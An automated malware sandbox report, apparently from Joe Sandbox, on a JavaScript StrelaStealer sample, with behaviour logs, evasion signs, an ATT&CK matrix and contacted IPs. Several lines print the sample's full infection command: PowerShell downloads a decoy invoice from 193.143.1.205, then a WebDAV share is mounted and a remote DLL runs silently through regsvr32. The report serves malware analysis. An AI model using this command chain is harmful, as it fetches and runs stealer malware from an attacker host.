Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4470			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4873			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep count: 4470 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep count: 4873 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7724	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7748	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7632	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7932	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4464	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000006.00000002.1770230072.000002305A05A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1754673317.000002305A05A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW;
Source: svchost.exe, 00000008.00000002.2982389975.0000021A33A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW x
Source: net.exe, 00000006.00000002.1759119073.0000023059FF8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1770230072.000002305A05A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1754673317.000002305A05A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2983896490.0000021A39054000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3414115772858819502.js	12%	Virustotal		Browse
3414115772858819502.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/j	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/b	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tm(	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/.	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/&	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.1700090685.000001CCBF37A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1758090050.0000021A392C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/.	net.exe, 00000006.00000003.1757349175.000002305A02E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759232512.000002305A02E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/j	net.exe, 00000006.00000003.1757349175.000002305A02E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759232512.000002305A02E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.2983953051.0000021A3908E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/tm(	net.exe, 00000006.00000002.1759119073.0000023059FF8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/&	net.exe, 00000006.00000003.1757349175.000002305A02E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759232512.000002305A02E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1759232512.000002305A04E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1757349175.000002305A02E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759119073.0000023059FF8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759232512.000002305A02E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1754673317.000002305A04C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/b	net.exe, 00000006.00000003.1757349175.000002305A02E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759232512.000002305A02E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1758090050.0000021A392C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588711
Start date and time:	2025-01-11 04:29:44 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3414115772858819502.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/59@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
